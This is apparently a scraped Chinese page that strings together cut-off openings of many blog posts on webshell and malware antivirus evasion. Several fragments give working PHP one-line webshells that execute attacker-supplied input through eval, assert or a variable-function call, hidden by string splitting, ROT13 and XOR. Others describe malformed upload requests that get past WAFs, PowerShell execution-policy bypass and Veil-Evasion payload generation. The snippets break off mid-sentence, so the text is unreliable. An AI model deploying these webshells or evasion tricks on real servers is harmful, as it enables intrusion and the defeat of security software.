原文转载于:http://www.legendsec.org/1701.html 觉得写得还算蛮科普的. 00x1.关键字拆分.         比如assert,可以写成 ‘a’.’ss’.’e’.’r’.’t’这样.         总结:这种方法虽然简单,但是却没有太强的免杀功效,需要结合其他方法. 00x2.可变变量.引用.可变函数. 可变变量  比如$a=$_POST[‘x’];$b=’a’;@eval($$b);        测试结果:        总结:这种方法对狗等WAF可以

一开始想这样:   <?php $_GET['ts7']($_POST['cmd']);?> 客户端用菜刀,密码cmd,url为test.php?ts7=assert   这个应该算没有什么特征码了,但是缺点就是在web日志中会暴露出来assert   可以都用post:     <?php $_POST['ts7']($_POST['cmd']);?> 在菜刀说明用<O>ts7=assert</O>post附加数据.   这中间考虑了这些:   <?

免杀PHP一句话shell,利用随机异或免杀D盾,免杀安全狗护卫神等 <?php class VONE { function HALB() { $rlf = 'B' ^ "\x23"; $fzq = 'D' ^ "\x37"; $fgu = 'h' ^ "\x1b"; $sbe = 'R' ^ "\x37"; $gba = 'H' ^ "\x3a"; $oya = 'Y' ^ "\x2d&q

前言 不想当将军的士兵不是好士兵,不想getshell的Hacker不是好Hacker~有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗.D盾.护卫神.云锁等安全软件查杀,在本篇文章中将会介绍一些常用的木马免杀技巧,主要针对安全狗.护卫神.D盾进行免杀~ 查杀软件 D盾 D盾是一个专门为IIS设计的主动防御的安全性保护软件,它采用以内外防护的方式防止服务器和网站被人入侵,它秉持在正常运行各类网站的情况下,越少的功能,服务器就越安全的理念而设.它具有一句话木马查

转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 特殊字符干扰 数组 类 编码绕过 无字符特征马 PHP7.1后webshell何去何从 总结 0x03 关于eval 于 assert# 关于eval函数在php给出的官方说明是 eval 是一个语言构造器而不是一个函数,不能被 可变函数 调用可变函数:通过一个变量,获取其对应的变量值,然后通过给

这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Windows Server 2003. Apache/2.4.18.PHP/5.3.29.网站安全狗(Apache版)V3.5.12048 2.用于文件上传的PHP源码: <?php $path = dirname(__FILE__) . '/upload/'; $rand = rand(0,30);

PHP一句话简单免杀 原型 几种已经开源的免杀思路 拆解合并 <?php $ch = explode(".","hello.ev.world.a.l"); $c = $ch[1].$ch[3].$ch[4]; //eval $c($_POST['x']); ?> rot13加密 <?php $c=str_rot13('n!ff!re!nffreg'); $str=explode('!',$c)[3]; $str($_POST['x']); ?>

(我知道你们都喜欢干货,所以也没亏待你们,请到文末吧,成果附件已上传~) 本文原创作者:Laimooc(原名xoanHn) 鄙人宗旨: 本人秉着爱学习爱恶搞爱研究爱进步并且遵纪守法的心态写下这篇文章,目的在于和各位信息安全爱好者共进步共繁荣. 脚本功能与优点: 一句话:记录用户对程序的访问日志,就这么简单.然而这个日志被人修改过:a.后缀名可控制 b.日志内容可控制 c.是否生成日志可控制 d.免杀 脚本研究综述: 1.利用xss打cookie的一点知识: 2.利用程序访问日志记录的一点知识:

前言 这篇文章写一些php木马免杀的一些技巧,希望对大家有点帮助.这里解释一下什么是php木马,这里大体分为三种: 能完成写入文件.列目录.查看文件.执行一些系统命令等少量功能的,这种的是"小马". 可以在目标服务器上执行php代码,并和一些客户端(如菜刀.冰蝎)进行交互的一句话木马. 根据 PHP 语法,编写较多代码,并在服务器上执行,完成大量间谍功能的"大马" 以上php木马我们一般我们统称为webshell,这篇文章主要写一下如何对一句话木马变异变形来绕过WA

首发先知: https://xz.aliyun.com/t/7170 自己还是想把一些shellcode免杀的技巧通过白话文.傻瓜式的文章把技巧讲清楚.希望更多和我一样web狗也能动手做到免杀的实现. 文中我将shellcode免杀技巧分为  "分离"."混淆"两个大类,通过不同技巧针对不同检测方式,也就是常听到的特征检测.行为检测.云查杀. 个人能力有限,文中出现错误还请斧正.轻喷. 0x01 那些shellcode"分离"免杀 首先来看看关于

Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有一些会被杀毒软件误认为是木马或病毒:2 1.3. 一些安全领域中使用的部分安全检测产品,也会被杀毒软件误杀.2 1.4. 远程监控技术一样.2 2. 1.3 免杀的发展史2 3. 免杀技术的简单原理2 3.1. 现在的免杀主要分为3种,其中的一种便是行为免杀,也就是通过控制病毒木马的行为来达到躲过杀

一.免杀原理与基础知识: (1)杀软是如何检测出恶意代码的? 检测特征码:特征码就是一般程序都不会有的代码,而后门有的那种特别的数据,而一个程序,应用有这种代码,数据的话,就直接判定为恶意代码. 主流的后门生成一般都在检测的库里面,主要还是检测一段数据与代码 启发式恶意软件检测:看这个软件,程序的特点啥,看他的特征是不是一个正常应用程序很想,如果不是就判断为恶意代码,很笼统,不咋精确 基于行为的恶意软件检测:在启发式的基础上加了行为监控,看他到底干了啥,监控他的行为,通过程序的运行来判断是不是恶

一.基础问题回答 1.杀软是如何检测出恶意代码的? (1)基于特征码的检测 特征码是能识别一个程序是一个病毒的一段不大于64字节的特征串.如果一个可执行文件包含这样的特征码则被杀毒软件检测为是恶意代码. (2)启发式恶意软件检测 一般在缺乏精确判定依据时,根据些片面特征去推断是否为恶意软件,比如如果一个软件在干通常是恶意软件干的事,看起来像个恶意软件,那就把它当成一个恶意软件. (3)基于行为的恶意软件检测 基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式. 2.免杀是做什么?

说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处. 前言 本文是看PHP使用流包装器实现WebShell有感,权当做个笔记. 很早的以前,我们就见过 php://input,这其实就是流包装器的一种.php://input 是个可以访问请求原始数据的只读流.下面这行代码就是通过php://input获取post的数据,执行eval的一句话木马. <?php    @eval(file_get_contents('php

安全狗上传绕过 思路: 1.扰乱编码 form-data 替换成 ~form-data           form-data    改成 f+orm-data form-data    改成 form-d+ata          form-data   替换成   " filename="xxx"   改成  filename=xxx; 增减空格 对Content-Disposition,Content-Type,name,filename,form-data http参

严格的D盾 D盾说,我是个严格的人,看到eval我就报木马,"看着像"="就是"木马,宁可错杀一千,绝不放过一个.好了,多说无益,一起看看严格的D盾是如何错杀的. 我随手写一个php文件:代码如下: <?php function encode($para0){ return $para0; } $b = encode("aaaa"); $a = "ccc"; eval($a); ?> 很明显没有传参呀,GET和PO

转载https://www.jianshu.com/p/fb078a99e0d8 前言 文章首发于Freebuf 在之前发布的一篇 渗透技巧之Powershell实战思路 中,学习了powershell在对抗Anti-Virus的方便和强大.团队免杀系列又有了远控免杀从入门到实践(6)-代码篇-Powershell 更是拓宽了自己的认知.这里继续学习powershell在对抗Anti-Virus的骚姿势. 绕过执行策略 powershell 可以通过绕过执行策略来执行恶意程序. 而从文件是否落地

本文由“即刻安全”投稿到“玄魂工作室” Veil-Evasion 是 Veil-Framework 框架的一部分,也是其主要的项目.利用它我们可以生成绕过杀软的 payload !kali 上并未安装,下面我们来进行简单的安装.我们直接从 github 上进行 clone 下载: git clone https://www.github.com/Veil-Framework/Veil-Evasion.git 图1 下载完成后,我们还需要对其软件配置包进行安装,依次输入如下命令: ls cd Ve

Atitit.木马病毒的免杀原理---sikuli 的使用 1. 使用sikuli java api1 1.1. 3. Write code!1 2. 常用api2 2.1. wait 等待某个界面出现2 2.2. exist/find 判断是否界面存在2 2.3. 2 2.4. 2 2.5. sikuli 如何 清空文本框中的内容??解决方法!2 2.6. 判读控件,界面是否出现??find3 3. sikuli的扩展用途4 4. atitit.sikuli  NoClassDefFoundE

以下只是简单的思路和定位.也许有人秒过,但是不要笑话我写的笨方法.定位永远是过期不了的. 其实这里废话一下 , 本人并不是大牛 ,今天跟大家分享下 .所以写出这篇文章.(大牛飘过) 只是个人实战的经验而已 ,没有任何技术含量.ok  我们开始 我们只谈vc++源码免杀 ,过掉 国内的杀毒软件 . 达到不损坏功能 正常上线 从而无视杀软的存在 首先说中国国内杀毒软件的特征 . 1  金山毒霸 ,我个人觉得杀的代码部分和字符串还是比较普遍的 .输入表函数 我个人不多见 . 2  瑞星 ,经实战经验